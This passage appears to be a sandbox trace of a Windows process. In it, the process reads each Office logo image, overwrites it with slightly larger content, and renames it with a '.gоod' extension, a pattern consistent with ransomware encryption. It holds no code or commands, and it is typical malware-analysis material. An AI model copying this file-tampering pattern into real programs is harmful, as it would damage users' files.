lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x59 [0257.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0257.013] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3dd68c0 | out: lpFileInformation=0x3dd68c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x782)) returned 1 [0257.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0257.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x59 [0257.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0257.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0257.014] GetFileType (hFile=0x8a8) returned 0x1 [0257.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0257.014] GetFileType (hFile=0x8a8) returned 0x1 [0257.014] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x782 [0257.014] ReadFile (in: hFile=0x8a8, lpBuffer=0x3dd7380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3dd7380*, lpNumberOfBytesRead=0x1fcee238*=0x782, lpOverlapped=0x0) returned 1 [0257.015] CloseHandle (hObject=0x8a8) returned 1 [0257.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x59 [0257.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0257.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0257.028] GetFileType (hFile=0x8a8) returned 0x1 [0257.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0257.028] GetFileType (hFile=0x8a8) returned 0x1 [0257.028] WriteFile (in: hFile=0x8a8, lpBuffer=0x3e52078*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3e52078*, lpNumberOfBytesWritten=0x1fcee148*=0x790, lpOverlapped=0x0) returned 1 [0257.028] CloseHandle (hObject=0x8a8) returned 1 [0257.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x59 [0257.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5e [0257.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0257.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x956a6e17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0257.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0257.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png.gоod")) returned 1 [0257.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x59 [0257.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0257.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3e53380 | out: lpFileInformation=0x3e53380*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0257.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0257.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x59 [0257.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0257.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0257.030] GetFileType (hFile=0x8a8) returned 0x1 [0257.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0257.030] GetFileType (hFile=0x8a8) returned 0x1 [0257.030] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x820 [0257.030] ReadFile (in: hFile=0x8a8, lpBuffer=0x3e53ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3e53ed8*, lpNumberOfBytesRead=0x1fcee238*=0x820, lpOverlapped=0x0) returned 1 [0258.009] CloseHandle (hObject=0x8a8) returned 1 [0258.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x59 [0258.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0258.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.923] GetFileType (hFile=0x828) returned 0x1 [0258.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0258.923] GetFileType (hFile=0x828) returned 0x1 [0258.923] WriteFile (in: hFile=0x828, lpBuffer=0x3941768*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3941768*, lpNumberOfBytesWritten=0x1fcee148*=0x830, lpOverlapped=0x0) returned 1 [0258.925] CloseHandle (hObject=0x828) returned 1 [0258.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x59 [0258.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5e [0258.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0258.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x968aec76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0258.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0258.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png.gоod")) returned 1 [0258.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x59 [0258.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0258.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3942a70 | out: lpFileInformation=0x3942a70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a6)) returned 1 [0258.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0258.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x59 [0258.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0258.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.927] GetFileType (hFile=0x828) returned 0x1 [0258.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0258.927] GetFileType (hFile=0x828) returned 0x1 [0258.927] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9a6 [0258.927] ReadFile (in: hFile=0x828, lpBuffer=0x3943750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3943750*, lpNumberOfBytesRead=0x1fcee238*=0x9a6, lpOverlapped=0x0) returned 1 [0258.928] CloseHandle (hObject=0x828) returned 1 [0259.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x59 [0259.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0259.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0259.033] GetFileType (hFile=0x828) returned 0x1 [0259.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0259.033] GetFileType (hFile=0x828) returned 0x1 [0259.034] WriteFile (in: hFile=0x828, lpBuffer=0x37d3a70*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37d3a70*, lpNumberOfBytesWritten=0x1fcee148*=0x9b0, lpOverlapped=0x0) returned 1 [0259.034] CloseHandle (hObject=0x828) returned 1 [0259.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x59 [0259.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5e [0259.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0259.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x969b9cb9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0)) returned 1 [0259.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0259.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png.gоod")) returned 1 [0259.036] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x58 [0259.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0259.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x37d4d78 | out: lpFileInformation=0x37d4d78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64e)) returned 1 [0259.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0259.036] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x58 [0259.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0259.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0259.036] GetFileType (hFile=0x828) returned 0x1 [0259.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0259.036] GetFileType (hFile=0x828) returned 0x1 [0259.036] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x64e [0259.036] ReadFile (in: hFile=0x828, lpBuffer=0x37d5700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37d5700*, lpNumberOfBytesRead=0x1fcee238*=0x64e, lpOverlapped=0x0) returned 1 [0259.291] CloseHandle (hObject=0x828) returned 1 [0263.447] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x58 [0263.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0263.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.448] GetFileType (hFile=0x828) returned 0x1 [0263.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0263.449] GetFileType (hFile=0x828) returned 0x1 [0263.449] WriteFile (in: hFile=0x828, lpBuffer=0x3bdcd60*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3bdcd60*, lpNumberOfBytesWritten=0x1fcee148*=0x650, lpOverlapped=0x0) returned 1 [0263.449] CloseHandle (hObject=0x828) returned 1 [0263.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x58 [0263.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5d [0263.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0263.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x993e5920, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0263.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0263.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png.gоod")) returned 1 [0263.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0263.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0263.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3bde068 | out: lpFileInformation=0x3bde068*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cc)) returned 1 [0263.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0263.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0263.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0263.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.451] GetFileType (hFile=0x828) returned 0x1 [0263.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0263.451] GetFileType (hFile=0x828) returned 0x1 [0263.451] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9cc [0263.451] ReadFile (in: hFile=0x828, lpBuffer=0x3bdedc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3bdedc0*, lpNumberOfBytesRead=0x1fcee238*=0x9cc, lpOverlapped=0x0) returned 1 [0263.452] CloseHandle (hObject=0x828) returned 1 [0263.464] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, 